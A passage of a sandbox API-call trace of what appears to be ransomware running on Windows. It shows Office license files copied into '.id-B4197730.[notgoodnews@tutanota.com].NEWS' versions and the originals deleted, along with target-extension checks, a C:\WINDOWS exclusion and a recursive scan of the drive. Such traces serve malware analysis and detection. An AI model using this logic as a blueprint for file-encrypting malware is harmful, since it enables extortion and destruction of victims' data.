Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0189.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0189.923] lstrlenW (lpString=".doc") returned 4 [0189.923] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.923] lstrlenW (lpString=".docx") returned 5 [0189.923] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.923] lstrlenW (lpString=".pdf") returned 4 [0189.924] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.924] lstrlenW (lpString=".xls") returned 4 [0189.924] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.924] lstrlenW (lpString=".xlsx") returned 5 [0189.924] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.924] lstrlenW (lpString=".ppt") returned 4 [0189.924] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0189.924] lstrlenW (lpString=".zip") returned 4 [0189.924] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.924] lstrlenW (lpString=".rar") returned 4 [0189.924] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.924] lstrlenW (lpString=".bz2") returned 4 [0189.924] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.924] lstrlenW (lpString=".7z") returned 3 [0189.924] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0189.924] lstrlenW (lpString=".dbf") returned 4 [0189.924] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0189.924] lstrlenW (lpString=".1cd") returned 4 [0189.924] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0189.925] lstrlenW (lpString=".jpg") returned 4 [0189.925] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.925] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.925] lstrlenW (lpString="MondoR_SubTrial2-ppd.xrm-ms") returned 27 [0189.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0189.926] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=26526) returned 1 [0189.926] CloseHandle (hObject=0x57c) returned 1 [0189.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 0x220 [0189.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0189.927] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.927] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0189.928] GetLastError () returned 0x0 [0189.928] ReadFile (in: hFile=0x57c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x679e, lpOverlapped=0x0) returned 1 [0189.931] WriteFile (in: hFile=0x580, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x67a0, lpOverlapped=0x0) returned 1 [0189.932] ReadFile (in: hFile=0x57c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0189.933] WriteFile (in: hFile=0x580, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x10a, lpOverlapped=0x0) returned 1 [0189.933] SetEndOfFile (hFile=0x580) returned 1 [0189.933] CloseHandle (hObject=0x580) returned 1 [0189.933] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.933] SetEndOfFile (hFile=0x57c) returned 1 [0189.936] CloseHandle (hObject=0x57c) returned 1 [0189.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 1 [0189.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0189.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0189.938] lstrlenW (lpString=".doc") returned 4 [0189.938] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.938] lstrlenW (lpString=".docx") returned 5 [0189.938] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.938] lstrlenW (lpString=".pdf") returned 4 [0189.938] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.938] lstrlenW (lpString=".xls") returned 4 [0189.938] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.938] lstrlenW (lpString=".xlsx") returned 5 [0189.938] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.938] lstrlenW (lpString=".ppt") returned 4 [0189.938] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0189.939] lstrlenW (lpString=".zip") returned 4 [0189.939] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.939] lstrlenW (lpString=".rar") returned 4 [0189.939] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.939] lstrlenW (lpString=".bz2") returned 4 [0189.939] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.939] lstrlenW (lpString=".7z") returned 3 [0189.939] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0189.939] lstrlenW (lpString=".dbf") returned 4 [0189.939] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0189.939] lstrlenW (lpString=".1cd") returned 4 [0189.939] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0189.939] lstrlenW (lpString=".jpg") returned 4 [0189.939] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0189.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0189.939] lstrlenW (lpString=".doc") returned 4 [0189.939] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.939] lstrlenW (lpString=".docx") returned 5 [0189.939] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.939] lstrlenW (lpString=".pdf") returned 4 [0189.939] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.939] lstrlenW (lpString=".xls") returned 4 [0189.939] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.939] lstrlenW (lpString=".xlsx") returned 5 [0189.940] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.940] lstrlenW (lpString=".ppt") returned 4 [0189.940] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0189.940] lstrlenW (lpString=".zip") returned 4 [0189.940] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.940] lstrlenW (lpString=".rar") returned 4 [0189.940] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.940] lstrlenW (lpString=".bz2") returned 4 [0189.940] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.065] lstrlenW (lpString=".7z") returned 3 [0190.065] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0190.065] lstrlenW (lpString=".dbf") returned 4 [0190.065] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0190.065] lstrlenW (lpString=".1cd") returned 4 [0190.065] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0190.065] lstrlenW (lpString=".jpg") returned 4 [0190.065] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.066] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0190.066] lstrlenW (lpString="MondoR_SubTrial2-ul-oob.xrm-ms") returned 30 [0190.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0190.162] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11600) returned 1 [0190.162] CloseHandle (hObject=0x584) returned 1 [0190.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 0x220 [0190.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0190.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0190.408] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.409] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0190.410] GetLastError () returned 0x0 [0190.410] ReadFile (in: hFile=0x2c4, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2d50, lpOverlapped=0x0) returned 1 [0190.412] WriteFile (in: hFile=0x2c8, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0190.414] ReadFile (in: hFile=0x2c4, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0190.414] WriteFile (in: hFile=0x2c8, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x110, lpOverlapped=0x0) returned 1 [0190.414] SetEndOfFile (hFile=0x2c8) returned 1 [0190.414] CloseHandle (hObject=0x2c8) returned 1 [0190.414] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.414] SetEndOfFile (hFile=0x2c4) returned 1 [0190.417] CloseHandle (hObject=0x2c4) returned 1 [0190.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0190.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 1 [0190.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0190.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0190.418] lstrlenW (lpString=".doc") returned 4 [0190.418] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.418] lstrlenW (lpString=".docx") returned 5 [0190.418] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.418] lstrlenW (lpString=".pdf") returned 4 [0190.418] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.418] lstrlenW (lpString=".xls") returned 4 [0190.418] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.418] lstrlenW (lpString=".xlsx") returned 5 [0190.418] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.418] lstrlenW (lpString=".ppt") returned 4 [0190.418] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0190.419] lstrlenW (lpString=".zip") returned 4 [0190.419] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.419] lstrlenW (lpString=".rar") returned 4 [0190.419] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.419] lstrlenW (lpString=".bz2") returned 4 [0190.419] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.419] lstrlenW (lpString=".7z") returned 3 [0190.419] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0190.419] lstrlenW (lpString=".dbf") returned 4 [0190.419] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0190.419] lstrlenW (lpString=".1cd") returned 4 [0190.419] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0190.419] lstrlenW (lpString=".jpg") returned 4 [0190.419] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0190.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0190.419] lstrlenW (lpString=".doc") returned 4 [0190.419] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.419] lstrlenW (lpString=".docx") returned 5 [0190.419] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.419] lstrlenW (lpString=".pdf") returned 4 [0190.419] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.419] lstrlenW (lpString=".xls") returned 4 [0190.419] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.419] lstrlenW (lpString=".xlsx") returned 5 [0190.419] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.419] lstrlenW (lpString=".ppt") returned 4 [0190.419] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0190.419] lstrlenW (lpString=".zip") returned 4 [0190.419] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.419] lstrlenW (lpString=".rar") returned 4 [0190.420] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.420] lstrlenW (lpString=".bz2") returned 4 [0190.420] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.420] lstrlenW (lpString=".7z") returned 3 [0190.420] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0190.420] lstrlenW (lpString=".dbf") returned 4 [0190.420] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0190.420] lstrlenW (lpString=".1cd") returned 4 [0190.420] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0190.420] lstrlenW (lpString=".jpg") returned 4 [0190.420] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.420] lstrlenW (lpString=".id-") returned 4 [0190.420] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47d348 | out: hHeap=0x420000) returned 1 [0190.420] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bd818 | out: hHeap=0x420000) returned 1 [0190.420] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3901480 | out: hHeap=0x420000) returned 1 [0190.420] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3f90048 | out: hHeap=0x420000) returned 1 [0190.423] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4191020 | out: hHeap=0x420000) returned 1 [0190.434] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47d450 | out: hHeap=0x420000) returned 1 [0190.434] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089120 [0190.434] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089120, Size=0x20) returned 0x408df88 [0190.434] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089240 [0190.434] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089240, Size=0x20) returned 0x408ddd0 [0190.434] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.434] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.434] Wow64DisableWow64FsRedirection (in: OldValue=0x35dff50 | out: OldValue=0x35dff50*=0x1) returned 1 [0190.434] lstrlenW (lpString="kernel32.dll") returned 12 [0190.434] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ddd0 | out: hHeap=0x420000) returned 1 [0190.434] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.434] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408df88 | out: hHeap=0x420000) returned 1 Thread: id = 48 os_tid = 0xe08 [0157.078] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fa0720 [0157.079] lstrlenW (lpString="C:") returned 2 [0157.079] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x371fcf8 | out: lpFindFileData=0x371fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x484118 [0157.099] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0157.099] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0157.099] lstrlenW (lpString="$GetCurrent") returned 11 [0157.099] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0157.099] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fb0978 [0157.104] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0157.104] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x484198 [0157.105] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0157.105] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0157.105] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0157.105] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0157.105] lstrlenW (lpString="Logs") returned 4 [0157.105] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0157.105] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.105] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0157.105] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484158 [0157.106] FindNextFileW (in: hFindFile=0x484158, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.106] FindNextFileW (in: 